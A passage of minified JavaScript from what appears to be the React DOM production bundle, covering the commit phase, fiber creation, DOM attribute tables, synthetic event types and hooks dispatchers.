p?(p.selectionStart=q,p.selectionEnd=Math.min(u,p.value.length)):(u=(q=p.ownerDocument||document)&&q.defaultView||window,u.getSelection&&(u=u.getSelection(),h=p.textContent.length,A=Math.min(g.start,h),g=void 0===g.end?A:Math.min(g.end,h),!u.extend&&A>g&&(h=g,g=A,A=h),h=vg(p,A),f=vg(p,g),h&&f&&(1!==u.rangeCount||u.anchorNode!==h.node||u.anchorOffset!==h.offset||u.focusNode!==f.node||u.focusOffset!==f.offset)&&(q=q.createRange(),q.setStart(h.node,h.offset),u.removeAllRanges(),A>g?(u.addRange(q),u.extend(f.node,
f.offset)):(q.setEnd(f.node,f.offset),u.addRange(q))))));q=[];for(u=p;u=u.parentNode;)1===u.nodeType&&q.push({element:u,left:u.scrollLeft,top:u.scrollTop});"function"===typeof p.focus&&p.focus();for(p=0;p<q.length;p++)u=q[p],u.element.scrollLeft=u.left,u.element.scrollTop=u.top}Pc=!!lf;mf=lf=null;a.current=c;l=d;do try{for(p=a;null!==l;){var D=l.flags;D&36&&Bj(p,l.alternate,l);if(D&128){q=void 0;var E=l.ref;if(null!==E){var F=l.stateNode;switch(l.tag){case 5:q=F;break;default:q=F}"function"===typeof E?
E(q):E.current=q}}l=l.nextEffect}}catch(qa){if(null===l)throw Error(m(330));Qa(l,qa);l=l.nextEffect}while(null!==l);l=null;Sj();n=e}else a.current=c;if(Sa)Sa=!1,tc=a,vc=b;else for(l=d;null!==l;)b=l.nextEffect,l.nextEffect=null,l.flags&8&&(D=l,D.sibling=null,D.stateNode=null),l=b;d=a.pendingLanes;0===d&&(na=null);1===d?a===ff?rc++:(rc=0,ff=a):rc=0;c=c.stateNode;if(db&&"function"===typeof db.onCommitFiberRoot)try{db.onCommitFiberRoot($e,c,void 0,64===(c.current.flags&64))}catch(qa){}ba(a,P());if(rd)throw rd=
!1,a=Ze,Ze=null,a;if(0!==(n&8))return null;ja();return null}function Rj(){for(;null!==l;){var a=l.alternate;xd||null===uc||(0!==(l.flags&8)?Wf(l,uc)&&(xd=!0):13===l.tag&&Fj(a,l)&&Wf(l,uc)&&(xd=!0));var b=l.flags;0!==(b&256)&&Aj(a,l);0===(b&512)||Sa||(Sa=!0,bc(97,function(){Ra();return null}));l=l.nextEffect}}function Ra(){if(90!==vc){var a=97<vc?97:vc;vc=90;return Za(a,Tj)}return!1}function Cj(a,b){nf.push(b,a);Sa||(Sa=!0,bc(97,function(){Ra();return null}))}function Ph(a,b){of.push(b,a);Sa||(Sa=
!0,bc(97,function(){Ra();return null}))}function Tj(){if(null===tc)return!1;var a=tc;tc=null;if(0!==(n&48))throw Error(m(331));var b=n;n|=32;var c=of;of=[];for(var d=0;d<c.length;d+=2){var e=c[d],f=c[d+1],g=e.destroy;e.destroy=void 0;if("function"===typeof g)try{g()}catch(k){if(null===f)throw Error(m(330));Qa(f,k)}}c=nf;nf=[];for(d=0;d<c.length;d+=2){e=c[d];f=c[d+1];try{var h=e.create;e.destroy=h()}catch(k){if(null===f)throw Error(m(330));Qa(f,k)}}for(h=a.current.firstEffect;null!==h;)a=h.nextEffect,
h.nextEffect=null,h.flags&8&&(h.sibling=null,h.stateNode=null),h=a;n=b;ja();return!0}function ei(a,b,c){b=Xe(c,b);b=Mh(a,b,1);Ja(a,b);b=W();a=ud(a,1);null!==a&&(Oc(a,1,b),ba(a,b))}function Qa(a,b){if(3===a.tag)ei(a,a,b);else for(var c=a.return;null!==c;){if(3===c.tag){ei(c,a,b);break}else if(1===c.tag){var d=c.stateNode;if("function"===typeof c.type.getDerivedStateFromError||"function"===typeof d.componentDidCatch&&(null===na||!na.has(d))){a=Xe(b,a);var e=Nh(c,a,1);Ja(c,e);e=W();c=ud(c,1);if(null!==
c)Oc(c,1,e),ba(c,e);else if("function"===typeof d.componentDidCatch&&(null===na||!na.has(d)))try{d.componentDidCatch(b,a)}catch(f){}break}}c=c.return}}function Mj(a,b,c){var d=a.pingCache;null!==d&&d.delete(b);b=W();a.pingedLanes|=a.suspendedLanes&c;R===a&&(O&c)===c&&(4===L||3===L&&(O&62914560)===O&&500>P()-df?Gb(a,0):jf|=c);ba(a,b)}function Ej(a,b){var c=a.stateNode;null!==c&&c.delete(b);b=0;0===b&&(b=a.mode,0===(b&2)?b=1:0===(b&4)?b=99===wb()?1:2:(0===ua&&(ua=Fb),b=nb(62914560&~ua),0===b&&(b=4194304)));
c=W();a=ud(a,b);null!==a&&(Oc(a,b,c),ba(a,c))}function Uj(a,b,c,d){this.tag=a;this.key=c;this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null;this.index=0;this.ref=null;this.pendingProps=b;this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null;this.mode=d;this.flags=0;this.lastEffect=this.firstEffect=this.nextEffect=null;this.childLanes=this.lanes=0;this.alternate=null}function Qe(a){a=a.prototype;return!(!a||!a.isReactComponent)}function Vj(a){if("function"===
typeof a)return Qe(a)?1:0;if(void 0!==a&&null!==a){a=a.$$typeof;if(a===Dc)return 11;if(a===Ec)return 14}return 2}function Ma(a,b){var c=a.alternate;null===c?(c=Z(a.tag,b,a.key,a.mode),c.elementType=a.elementType,c.type=a.type,c.stateNode=a.stateNode,c.alternate=a,a.alternate=c):(c.pendingProps=b,c.type=a.type,c.flags=0,c.nextEffect=null,c.firstEffect=null,c.lastEffect=null);c.childLanes=a.childLanes;c.lanes=a.lanes;c.child=a.child;c.memoizedProps=a.memoizedProps;c.memoizedState=a.memoizedState;c.updateQueue=
a.updateQueue;b=a.dependencies;c.dependencies=null===b?null:{lanes:b.lanes,firstContext:b.firstContext};c.sibling=a.sibling;c.index=a.index;c.ref=a.ref;return c}function fd(a,b,c,d,e,f){var g=2;d=a;if("function"===typeof a)Qe(a)&&(g=1);else if("string"===typeof a)g=5;else a:switch(a){case wa:return zb(c.children,e,f,b);case fi:g=8;e|=16;break;case Hd:g=8;e|=1;break;case Lb:return a=Z(12,c,b,e|8),a.elementType=Lb,a.type=Lb,a.lanes=f,a;case Mb:return a=Z(13,c,b,e),a.type=Mb,a.elementType=Mb,a.lanes=
f,a;case Cc:return a=Z(19,c,b,e),a.elementType=Cc,a.lanes=f,a;case pf:return Ue(c,e,f,b);case qf:return a=Z(24,c,b,e),a.elementType=qf,a.lanes=f,a;default:if("object"===typeof a&&null!==a)switch(a.$$typeof){case Jd:g=10;break a;case Id:g=9;break a;case Dc:g=11;break a;case Ec:g=14;break a;case Ld:g=16;d=null;break a;case Kd:g=22;break a}throw Error(m(130,null==a?a:typeof a,""));}b=Z(g,c,b,e);b.elementType=a;b.type=d;b.lanes=f;return b}function zb(a,b,c,d){a=Z(7,a,d,b);a.lanes=c;return a}function Ue(a,
b,c,d){a=Z(23,a,d,b);a.elementType=pf;a.lanes=c;return a}function De(a,b,c){a=Z(6,a,null,b);a.lanes=c;return a}function Ee(a,b,c){b=Z(4,null!==a.children?a.children:[],a.key,b);b.lanes=c;b.stateNode={containerInfo:a.containerInfo,pendingChildren:null,implementation:a.implementation};return b}function Wj(a,b,c){this.tag=b;this.containerInfo=a;this.finishedWork=this.pingCache=this.current=this.pendingChildren=null;this.timeoutHandle=-1;this.pendingContext=this.context=null;this.hydrate=c;this.callbackNode=
null;this.callbackPriority=0;this.eventTimes=ge(0);this.expirationTimes=ge(-1);this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0;this.entanglements=ge(0);this.mutableSourceEagerHydrationData=null}function Xj(a,b,c){var d=3<arguments.length&&void 0!==arguments[3]?arguments[3]:null;return{$$typeof:Ua,key:null==d?null:""+d,children:a,containerInfo:b,implementation:c}}function yd(a,b,c,d){var e=b.current,f=W(),g=Oa(e);
a:if(c){c=c._reactInternals;b:{if(Va(c)!==c||1!==c.tag)throw Error(m(170));var h=c;do{switch(h.tag){case 3:h=h.stateNode.context;break b;case 1:if(S(h.type)){h=h.stateNode.__reactInternalMemoizedMergedChildContext;break b}}h=h.return}while(null!==h);throw Error(m(171));}if(1===c.tag){var k=c.type;if(S(k)){c=Tg(c,k,h);break a}}c=h}else c=Ha;null===b.context?b.context=c:b.pendingContext=c;b=Ia(f,g);b.payload={element:a};d=void 0===d?null:d;null!==d&&(b.callback=d);Ja(e,b);Pa(e,g,f);return g}function rf(a){a=
a.current;if(!a.child)return null;switch(a.child.tag){case 5:return a.child.stateNode;default:return a.child.stateNode}}function gi(a,b){a=a.memoizedState;if(null!==a&&null!==a.dehydrated){var c=a.retryLane;a.retryLane=0!==c&&c<b?c:b}}function sf(a,b){gi(a,b);(a=a.alternate)&&gi(a,b)}function Yj(a){a=Vf(a);return null===a?null:a.stateNode}function Zj(a){return null}function tf(a,b,c){var d=null!=c&&null!=c.hydrationOptions&&c.hydrationOptions.mutableSources||null;c=new Wj(a,b,null!=c&&!0===c.hydrate);
b=Z(3,null,null,2===b?7:1===b?3:0);c.current=b;b.stateNode=c;Be(b);a[rb]=c.current;Cg(8===a.nodeType?a.parentNode:a);if(d)for(a=0;a<d.length;a++){b=d[a];var e=b._getVersion;e=e(b._source);null==c.mutableSourceEagerHydrationData?c.mutableSourceEagerHydrationData=[b,e]:c.mutableSourceEagerHydrationData.push(b,e)}this._internalRoot=c}function wc(a){return!(!a||1!==a.nodeType&&9!==a.nodeType&&11!==a.nodeType&&(8!==a.nodeType||" react-mount-point-unstable "!==a.nodeValue))}function ak(a,b){b||(b=a?9===
a.nodeType?a.documentElement:a.firstChild:null,b=!(!b||1!==b.nodeType||!b.hasAttribute("data-reactroot")));if(!b)for(var c;c=a.lastChild;)a.removeChild(c);return new tf(a,0,b?{hydrate:!0}:void 0)}function zd(a,b,c,d,e){var f=c._reactRootContainer;if(f){var g=f._internalRoot;if("function"===typeof e){var h=e;e=function(){var a=rf(g);h.call(a)}}yd(b,g,a,e)}else{f=c._reactRootContainer=ak(c,d);g=f._internalRoot;if("function"===typeof e){var k=e;e=function(){var a=rf(g);k.call(a)}}bi(function(){yd(b,
g,a,e)})}return rf(g)}function hi(a,b){var c=2<arguments.length&&void 0!==arguments[2]?arguments[2]:null;if(!wc(b))throw Error(m(200));return Xj(a,b,null,c)}if(!ha)throw Error(m(227));var zf=new Set,Ib={},oa=!("undefined"===typeof window||"undefined"===typeof window.document||"undefined"===typeof window.document.createElement),mi=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,
Af=Object.prototype.hasOwnProperty,Cf={},Bf={},I={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(a){I[a]=new Q(a,0,!1,a,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(a){var b=a[0];I[b]=new Q(b,1,!1,a[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(a){I[a]=
new Q(a,2,!1,a.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(a){I[a]=new Q(a,2,!1,a,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(a){I[a]=new Q(a,3,!1,a.toLowerCase(),null,!1,!1)});["checked","multiple",
"muted","selected"].forEach(function(a){I[a]=new Q(a,3,!0,a,null,!1,!1)});["capture","download"].forEach(function(a){I[a]=new Q(a,4,!1,a,null,!1,!1)});["cols","rows","size","span"].forEach(function(a){I[a]=new Q(a,6,!1,a,null,!1,!1)});["rowSpan","start"].forEach(function(a){I[a]=new Q(a,5,!1,a.toLowerCase(),null,!1,!1)});var uf=/[\-:]([a-z])/g,vf=function(a){return a[1].toUpperCase()};"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(a){var b=
a.replace(uf,vf);I[b]=new Q(b,1,!1,a,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(a){var b=a.replace(uf,vf);I[b]=new Q(b,1,!1,a,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(a){var b=a.replace(uf,vf);I[b]=new Q(b,1,!1,a,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(a){I[a]=new Q(a,1,!1,a.toLowerCase(),null,!1,!1)});I.xlinkHref=new Q("xlinkHref",
1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(a){I[a]=new Q(a,1,!1,a.toLowerCase(),null,!0,!0)});var B=ha.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.assign,fb=ha.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED,ec=60103,Ua=60106,wa=60107,Hd=60108,Lb=60114,Jd=60109,Id=60110,Dc=60112,Mb=60113,Cc=60120,Ec=60115,Ld=60116,Kd=60121,ue=60128,fi=60129,pf=60130,qf=60131;if("function"===typeof Symbol&&Symbol.for){var H=Symbol.for;ec=
H("react.element");Ua=H("react.portal");wa=H("react.fragment");Hd=H("react.strict_mode");Lb=H("react.profiler");Jd=H("react.provider");Id=H("react.context");Dc=H("react.forward_ref");Mb=H("react.suspense");Cc=H("react.suspense_list");Ec=H("react.memo");Ld=H("react.lazy");Kd=H("react.block");H("react.scope");ue=H("react.opaque.id");fi=H("react.debug_trace_mode");pf=H("react.offscreen");qf=H("react.legacy_hidden")}var Df="function"===typeof Symbol&&Symbol.iterator,Fd,Gd=!1,Ad,Lh=function(a){return"undefined"!==
typeof MSApp&&MSApp.execUnsafeLocalFunction?function(b,c,d,e){MSApp.execUnsafeLocalFunction(function(){return a(b,c,d,e)})}:a}(function(a,b){if("http://www.w3.org/2000/svg"!==a.namespaceURI||"innerHTML"in a)a.innerHTML=b;else{Ad=Ad||document.createElement("div");Ad.innerHTML="<svg>"+b.valueOf().toString()+"</svg>";for(b=Ad.firstChild;a.firstChild;)a.removeChild(a.firstChild);for(;b.firstChild;)a.appendChild(b.firstChild)}}),qc=function(a,b){if(b){var c=a.firstChild;if(c&&c===a.lastChild&&3===c.nodeType){c.nodeValue=
b;return}}a.textContent=b},Nb={animationIterationCount:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,
zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},bk=["Webkit","ms","Moz","O"];Object.keys(Nb).forEach(function(a){bk.forEach(function(b){b=b+a.charAt(0).toUpperCase()+a.substring(1);Nb[b]=Nb[a]})});var si=B({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0}),Vd=null,jb=null,kb=null,me=function(a,b){return a(b)},fg=function(a,
b,c,d,e){return a(b,c,d,e)},Xd=function(){},Sf=me,Xa=!1,Yd=!1,qe=!1;if(oa)try{var xc={};Object.defineProperty(xc,"passive",{get:function(){qe=!0}});window.addEventListener("test",xc,xc);window.removeEventListener("test",xc,xc)}catch(a){qe=!1}var vi=function(a,b,c,d,e,f,g,h,k){var l=Array.prototype.slice.call(arguments,3);try{b.apply(c,l)}catch(Da){this.onError(Da)}},Qb=!1,Ic=null,Jc=!1,Zd=null,wi={onError:function(a){Qb=!0;Ic=a}},ca=ha.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.Scheduler,
ck=ca.unstable_cancelCallback,Bd=ca.unstable_now,$f=ca.unstable_scheduleCallback,dk=ca.unstable_shouldYield,ii=ca.unstable_requestPaint,ae=ca.unstable_runWithPriority,ek=ca.unstable_getCurrentPriorityLevel,fk=ca.unstable_ImmediatePriority,ji=ca.unstable_UserBlockingPriority,ag=ca.unstable_NormalPriority,gk=ca.unstable_LowPriority,hk=ca.unstable_IdlePriority,ce=!1,ia=[],ya=null,za=null,Aa=null,Rb=new Map,Sb=new Map,Vb=[],gg="mousedown mouseup touchcancel touchend touchstart auxclick dblclick pointercancel pointerdown pointerup dragend dragstart drop compositionend compositionstart keydown keypress keyup input textInput copy cut paste click change contextmenu reset submit".split(" "),
lb={animationend:Lc("Animation","AnimationEnd"),animationiteration:Lc("Animation","AnimationIteration"),animationstart:Lc("Animation","AnimationStart"),transitionend:Lc("Transition","TransitionEnd")},de={},cg={};oa&&(cg=document.createElement("div").style,"AnimationEvent"in window||(delete lb.animationend.animation,delete lb.animationiteration.animation,delete lb.animationstart.animation),"TransitionEvent"in window||delete lb.transitionend.transition);var Hg=Mc("animationend"),Ig=Mc("animationiteration"),
Jg=Mc("animationstart"),Kg=Mc("transitionend"),dg=new Map,fe=new Map,ik=["abort","abort",Hg,"animationEnd",Ig,"animationIteration",Jg,"animationStart","canplay","canPlay","canplaythrough","canPlayThrough","durationchange","durationChange","emptied","emptied","encrypted","encrypted","ended","ended","error","error","gotpointercapture","gotPointerCapture","load","load","loadeddata","loadedData","loadedmetadata","loadedMetadata","loadstart","loadStart","lostpointercapture","lostPointerCapture","playing",
"playing","progress","progress","seeking","seeking","stalled","stalled","suspend","suspend","timeupdate","timeUpdate",Kg,"transitionEnd","waiting","waiting"];Bd();var w=8,Ba=Math.clz32?Math.clz32:Hi,Ii=Math.log,Ji=Math.LN2,Ni=ji,Mi=ae,Pc=!0,Ca=null,ie=null,Qc=null,Hb={eventPhase:0,bubbles:0,cancelable:0,timeStamp:function(a){return a.timeStamp||Date.now()},defaultPrevented:0,isTrusted:0},le=V(Hb),yc=B({},Hb,{view:0,detail:0}),hj=V(yc),wf,xf,zc,Cd=B({},yc,{screenX:0,screenY:0,clientX:0,clientY:0,pageX:0,
pageY:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,getModifierState:je,button:0,buttons:0,relatedTarget:function(a){return void 0===a.relatedTarget?a.fromElement===a.srcElement?a.toElement:a.fromElement:a.relatedTarget},movementX:function(a){if("movementX"in a)return a.movementX;a!==zc&&(zc&&"mousemove"===a.type?(wf=a.screenX-zc.screenX,xf=a.screenY-zc.screenY):xf=wf=0,zc=a);return wf},movementY:function(a){return"movementY"in a?a.movementY:xf}}),Gg=V(Cd),jk=B({},Cd,{dataTransfer:0}),dj=V(jk),kk=B({},
yc,{relatedTarget:0}),re=V(kk),lk=B({},Hb,{animationName:0,elapsedTime:0,pseudoElement:0}),fj=V(lk),mk=B({},Hb,{clipboardData:function(a){return"clipboardData"in a?a.clipboardData:window.clipboardData}}),jj=V(mk),nk=B({},Hb,{data:0}),Og=V(nk),mj=Og,ok={Esc:"Escape",Spacebar:" ",Left:"ArrowLeft",Up:"ArrowUp",Right:"ArrowRight",Down:"ArrowDown",Del:"Delete",Win:"OS",Menu:"ContextMenu",Apps:"ContextMenu",Scroll:"ScrollLock",MozPrintableKey:"Unidentified"},pk={8:"Backspace",9:"Tab",12:"Clear",13:"Enter",
16:"Shift",17:"Control",18:"Alt",19:"Pause",20:"CapsLock",27:"Escape",32:" ",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"ArrowLeft",38:"ArrowUp",39:"ArrowRight",40:"ArrowDown",45:"Insert",46:"Delete",112:"F1",113:"F2",114:"F3",115:"F4",116:"F5",117:"F6",118:"F7",119:"F8",120:"F9",121:"F10",122:"F11",123:"F12",144:"NumLock",145:"ScrollLock",224:"Meta"},Pi={Alt:"altKey",Control:"ctrlKey",Meta:"metaKey",Shift:"shiftKey"},qk=B({},yc,{key:function(a){if(a.key){var b=ok[a.key]||a.key;if("Unidentified"!==
b)return b}return"keypress"===a.type?(a=Rc(a),13===a?"Enter":String.fromCharCode(a)):"keydown"===a.type||"keyup"===a.type?pk[a.keyCode]||"Unidentified":""},code:0,location:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,repeat:0,locale:0,getModifierState:je,charCode:function(a){return"keypress"===a.type?Rc(a):0},keyCode:function(a){return"keydown"===a.type||"keyup"===a.type?a.keyCode:0},which:function(a){return"keypress"===a.type?Rc(a):"keydown"===a.type||"keyup"===a.type?a.keyCode:0}}),cj=V(qk),rk=B({},
Cd,{pointerId:0,width:0,height:0,pressure:0,tangentialPressure:0,tiltX:0,tiltY:0,twist:0,pointerType:0,isPrimary:0}),Lg=V(rk),sk=B({},yc,{touches:0,targetTouches:0,changedTouches:0,altKey:0,metaKey:0,ctrlKey:0,shiftKey:0,getModifierState:je}),ej=V(sk),tk=B({},Hb,{propertyName:0,elapsedTime:0,pseudoElement:0}),gj=V(tk),uk=B({},Cd,{deltaX:function(a){return"deltaX"in a?a.deltaX:"wheelDeltaX"in a?-a.wheelDeltaX:0},deltaY:function(a){return"deltaY"in a?a.deltaY:"wheelDeltaY"in a?-a.wheelDeltaY:"wheelDelta"in
a?-a.wheelDelta:0},deltaZ:0,deltaMode:0}),ij=V(uk),Qi=[9,13,27,32],ke=oa&&"CompositionEvent"in window,Ac=null;oa&&"documentMode"in document&&(Ac=document.documentMode);var lj=oa&&"TextEvent"in window&&!Ac,og=oa&&(!ke||Ac&&8<Ac&&11>=Ac),ng=String.fromCharCode(32),mg=!1,ob=!1,Ti={color:!0,date:!0,datetime:!0,"datetime-local":!0,email:!0,month:!0,number:!0,password:!0,range:!0,search:!0,tel:!0,text:!0,time:!0,url:!0,week:!0},Xb=null,Yb=null,Ng=!1;oa&&(Ng=Ui("input")&&(!document.documentMode||9<document.documentMode));
var X="function"===typeof Object.is?Object.is:aj,bj=Object.prototype.hasOwnProperty,kj=oa&&"documentMode"in document&&11>=document.documentMode,qb=null,pe=null,$b=null,oe=!1;ee("cancel cancel click click close close contextmenu contextMenu copy copy cut cut auxclick auxClick dblclick doubleClick dragend dragEnd dragstart dragStart drop drop focusin focus focusout blur input input invalid invalid keydown keyDown keypress keyPress keyup keyUp mousedown mouseDown mouseup mouseUp paste paste pause pause play play pointercancel pointerCancel pointerdown pointerDown pointerup pointerUp ratechange rateChange reset reset seeked seeked submit submit touchcancel touchCancel touchend touchEnd touchstart touchStart volumechange volumeChange".split(" "),
0);ee("drag drag dragenter dragEnter dragexit dragExit dragleave dragLeave dragover dragOver mousemove mouseMove mouseout mouseOut mouseover mouseOver pointermove pointerMove pointerout pointerOut pointerover pointerOver scroll scroll toggle toggle touchmove touchMove wheel wheel".split(" "),1);ee(ik,2);(function(a,b){for(var c=0;c<a.length;c++)fe.set(a[c],b)})("change selectionchange textInput compositionstart compositionend compositionupdate".split(" "),0);gb("onMouseEnter",["mouseout","mouseover"]);
gb("onMouseLeave",["mouseout","mouseover"]);gb("onPointerEnter",["pointerout","pointerover"]);gb("onPointerLeave",["pointerout","pointerover"]);Ta("onChange","change click focusin focusout input keydown keyup selectionchange".split(" "));Ta("onSelect","focusout contextmenu dragend focusin keydown keyup mousedown mouseup selectionchange".split(" "));Ta("onBeforeInput",["compositionend","keypress","textInput","paste"]);Ta("onCompositionEnd","compositionend focusout keydown keypress keyup mousedown".split(" "));
Ta("onCompositionStart","compositionstart focusout keydown keypress keyup mousedown".split(" "));Ta("onCompositionUpdate","compositionupdate focusout keydown keypress keyup mousedown".split(" "));var pc="abort canplay canplaythrough durationchange emptied encrypted ended error loadeddata loadedmetadata loadstart pause play playing progress ratechange seeked seeking stalled suspend timeupdate volumechange waiting".split(" "),Eg=new Set("cancel close invalid load scroll toggle".split(" ").concat(pc)),
Dg="_reactListening"+Math.random().toString(36).slice(2),lf=null,mf=null,$h="function"===typeof setTimeout?setTimeout:void 0,Kj="function"===typeof clearTimeout?clearTimeout:void 0,yf=0,Dd=Math.random().toString(36).slice(2),Fa="__reactFiber$"+Dd,Wc="__reactProps$"+Dd,rb="__reactContainer$"+Dd,Rg="__reactEvents$"+Dd,ve=[],ub=-1,Ha={},D=Ga(Ha),J=Ga(!1),Ya=Ha,$e=null,db=null,pj=ae,we=$f,xe=ck,oj=ek,Yc=fk,Vg=ji,Wg=ag,Xg=gk,Yg=hk,hf={},Oj=dk,Sj=void 0!==ii?ii:function(){},pa=null,Zc=null,ye=!1,ki=Bd(),
P=1E4>ki?Bd:function(){return Bd()-ki},Gj=fb.ReactCurrentBatchConfig,bd=Ga(null),ad=null,xb=null,$c=null,Ka=!1,hh=(new ha.Component).refs,dd={isMounted:function(a){return(a=a._reactInternals)?Va(a)===a:!1},enqueueSetState:function(a,b,c){a=a._reactInternals;var d=W(),e=Oa(a),f=Ia(d,e);f.payload=b;void 0!==c&&null!==c&&(f.callback=c);Ja(a,f);Pa(a,e,d)},enqueueReplaceState:function(a,b,c){a=a._reactInternals;var d=W(),e=Oa(a),f=Ia(d,e);f.tag=1;f.payload=b;void 0!==c&&null!==c&&(f.callback=c);Ja(a,f);
Pa(a,e,d)},enqueueForceUpdate:function(a,b){a=a._reactInternals;var c=W(),d=Oa(a),e=Ia(c,d);e.tag=2;void 0!==b&&null!==b&&(e.callback=b);Ja(a,e);Pa(a,d,c)}},gd=Array.isArray,od=ih(!0),xh=ih(!1),fc={},ka=Ga(fc),hc=Ga(fc),gc=Ga(fc),E=Ga(0),ra=null,Na=null,la=!1,Bb=[],jc=fb.ReactCurrentDispatcher,aa=fb.ReactCurrentBatchConfig,ic=0,y=null,N=null,K=null,kd=!1,kc=!1,jd={readContext:Y,useCallback:T,useContext:T,useEffect:T,useImperativeHandle:T,useLayoutEffect:T,useMemo:T,useReducer:T,useRef:T,useState:T,
useDebugValue:T,useDeferredValue:T,useTransition:T,useMutableSource:T,useOpaqueIdentifier:T,unstable_isNewReconciler:!1},qj={readContext:Y,useCallback:function(a,b){ab().memoizedState=[a,void 0===b?null:b];return a},useContext:Y,useEffect:rh,useImperativeHandle:function(a,b,c){c=null!==c&&void 0!==c?c.concat([a]):null;return Ne(4,2,th.bind(null,b,a),c)},useLayoutEffect:function(a,b){return Ne(4,2,a,b)},useMemo:function(a,b){var c=ab();b=void 0===b?null:b;a=a();c.memoizedState=[a,b];return a},useReducer:function(a,
b,c){var d=ab();b=void 0!==c?c(b):b;d.memoizedState=d.baseState=b;a=d.queue={pending:null,dispatch:null,lastRenderedReducer:a,lastRenderedState:b};a=a.dispatch=Me.bind(null,y,a);return[d.memoizedState,a]},useRef:qh,useState:nc,useDebugValue:Pe,useDeferredValue:function(a){var b=nc(a),c=b[0],d=b[1];rh(function(){var b=aa.transition;aa.transition=1;try{d(a)}finally{aa.transition=b}},[a]);return c},useTransition:function(){var a=nc(!1),b=a[0];a=tj.bind(null,a[1]);qh(a);return[a,b]},useMutableSource:function(a,
b,c){var d=ab();d.memoizedState={refs:{getSnapshot:b,setSnapshot:null},source:a,subscribe:c};return oh(d,a,b,c)},useOpaqueIdentifier:function(){if(la){var a=!1,b=nj(function(){a||(a=!0,c("r:"+(yf++).toString(36)));throw Error(m(355));}),c=nc(b)[1];0===(y.mode&2)&&(y.flags|=516,ld(5,function(){c("r:"+(yf++).toString(36))},void 0,null));return b}b="r:"+(yf++).toString(36);nc(b);return b},unstable_isNewReconciler:!1},rj={readContext:Y,useCallback:vh,useContext:Y,useEffect:nd,useImperativeHandle:uh,useLayoutEffect:sh,
useMemo:wh,useReducer:lc,useRef:md,useState:function(a){return lc(ma)},useDebugValue:Pe,useDeferredValue:function(a){var b=lc(ma),c=b[0],d=b[1];nd(function(){var b=aa.transition;aa.transition=1;try{d(a)}finally{aa.transition=b}},[a]);return c},useTransition:function(){var a=lc(ma)[0];return[md().current,a]},useMutableSource:ph,useOpaqueIdentifier:function(){return lc(ma)[0]},unstable_isNewReconciler:!1},sj={readContext:Y,useCallback:vh,useContext:Y,useEffect:nd,useImperativeHandle:uh,useLayoutEffect:sh,
